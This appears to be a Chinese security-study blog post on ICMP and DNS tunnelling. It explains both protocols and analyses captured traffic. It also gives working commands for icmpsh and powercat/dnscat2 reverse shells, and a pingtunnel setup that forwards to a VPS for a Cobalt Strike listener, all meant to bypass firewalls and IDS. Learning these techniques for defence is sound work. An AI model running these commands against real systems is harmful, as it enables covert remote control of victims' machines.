ICMP和DNS隧道

ICMP隧道

扩展知识面(大多数时候用的是应用层隧道)

ICMP介绍

ICMP(InternetControl MessageProtocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协 议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用 11月漏洞挖掘.md 主要概念有:

1.确认ip数据包是否成功到达目的地

2.通知源主机发送ip数据包丢失的原因

3.ICMP是基于IP协议工作的

4.ICMP只能作用于IPV4,IPV6下

image-20231112141946209

类型

3 终点不可达

11 时间超过

12 参数问题

5 改变路由

8或0 回送请求或回答

13或14 时间戳请求或回答

代码

进一步区分某种类型中的几种不同情况。

检验和

用于检验整个ICMP报文。但是IP首部检验和并不检验IP数据报的内容,因此不能保证经过传输的ICMP 报文不产生差错。

ICMP 报文的种类有两种,即 ICMP 差错报告报文和 ICMP 询问报文

ICMP抓包分析

一般PING命令就是使用ICMP的协议执行 ping 8.8.8.8

第一个包是请求的数据包

image-20231112143004921

第二个数返回的数据包

image-20231112143018755

可以看到data 中的字段数固定的值(windows可能是abcd…… linux可能是!”#$%………)

image-20231112143046717

ICMP隧道原理

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中,建立隐蔽通道。实现绕过防火墙和入侵检测系统的阻拦。

优点:

1.ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

2.利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限

ICMP隧道实验

反弹shell

ICMP做隧道一般有这么几种,一种是反弹shell 的形式

icmpsh使用简单,使用的是python,项目地址:https://github.com/bdamele/icmpsh

该工具安装起来比较复杂,使用的是python2,

1、下载工具,然后执行安装依赖的命名

1
pip install impacket

2、执行禁用icmp回复

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1

3、开启监听命令

1
python icmpsh_m.py 攻击者IP 受害者IP

image-20231112143828749

4、在受害者机器执行反弹命令

1
icmpsh.exe -t 攻击者IP

image-20231112143838192

5、收到反弹shell的内容

image-20231112143821047

6、查看流量(没有加密)

image-20231112144707643

搭建隧道

ICMP可以用作反弹shell,也可以用作隧道,这里我们使用工具:pingtunnel

下载地址;https://github.com/esrrhs/pingtunnel/releases/tag/2.7

image-20231112144856727

首先将需要的版本下载下来然后进行隧道搭建

1、开启服务端

1
pingtunnel -type server

2、开启客户端

1
2
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 172.16.100.108 -t
172.16.100.222:2222 -tcp 1 -noprint 1 -nolog 1

3、可以查看他的用法

image-20231112144931959

来看一下网络拓扑才能更好理解这个隧道

image-20231112145136519

1、开启服务端,在VPS执行

1
pingtunnel -type server

image-20231112145210554

2、靶机执行开启转发的命令

1
pingtunnel.exe -type client -l :9999 -s 118.178.134.226 -t 118.178.134.226:7777 -tcp 1

将来自和本地9999端口连接的流量,转发给118.178.134.226的7777端口,然后我们就可以创建一个 CS的监听器完成操作

3、设置监听器

image-20231112150053810

4、生成木马然后看一下点击链接

image-20231112145332053

5、查看流量

image-20231112145353881

DNS隧道

DNS协议介绍

域名系统(Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前,对于每一 级域名长度的限制是63个字符,域名总长度则不能超过253个字符。DNS协议是用来将域名转换为IP地址,DNS除了提供主机名到IP地址转换外,还提供如下服务:主机别名、邮件服务器别名、负载分配等。

DNS报文格式

DNS 定义了两种报文 ,一种为查询报文;另一种是对查询报文的响应,称为响应报文。无论是查询报文还是响应报文

image-20231112150555247

1
2
3
4
5
6
7
8
9
10
11
12
ID:由生成DNS查询的程序指定的16位的标志符。该标志符也被随后的应答报文所用,申请者利用这个标志将
应答和原来的请求对应起来.
flags:标志位,标记查询/应答,查询类型,截断,递归查询等等
type:DNS记录类型,常用的有:
AA记录,指向别名或IP地址。
NS:解析服务器记录。
MX:邮件交换记录。
CNAME:别名。
AAAA:IPv6地址解析。
txt:为某个主机名或域名设置的说明。
PTR:指针记录,PTR记录是A记录的逆向记录。
SOA:标记一个区的开始,起始授权机构记录。

PING一下百度看一看流量

请求数据包

image-20231112151328242

image-20231112152113755

返回数据包

image-20231112151607110

一般DNS隧道中通信的内容隐藏在请求区域和回答区域中,可能在不同的type类型中隐藏的地方不同

DNS隧道搭建(dnscat)

dnscat是可以用来进行DNS隧道进行通信的,工具有客户端和服务端,下载地址:https://github.com/iagox86/dnscat2

工具安装非常简单

服务端安装:

1
2
3
4
sudo apt-get install ruby-dev
cd dnscat2/server/
gem install bundler
bundle install

客户端安装

1
2
cd dnscat2/client/
make

1、在kali 中执行如下命令开启服务端

1
ruby dnscat2.rb pc.test -e open --no-cache

2、在windows使用powercat连接

1
powercat -c 192.168.41.134 -p 53 -dns pc.test -e cmd.exe

3、收到反弹shell的隧道

image-20231112152525065

DNS隧道流量分析

分析上述隧道的流量

image-20231112152354586

通过分析发现DNS请求类型是TXT,为某个主机名或域名设置的说明。并且域名的有所变化,通过观看应该是16进制加密的,分期其中一段为(C:\Users\Ad.ministrator>.pc.test)


ICMP和DNS隧道
http://example.com/2023/11/27/ICMP和DNS隧道/
作者
r1
发布于
2023年11月27日
许可协议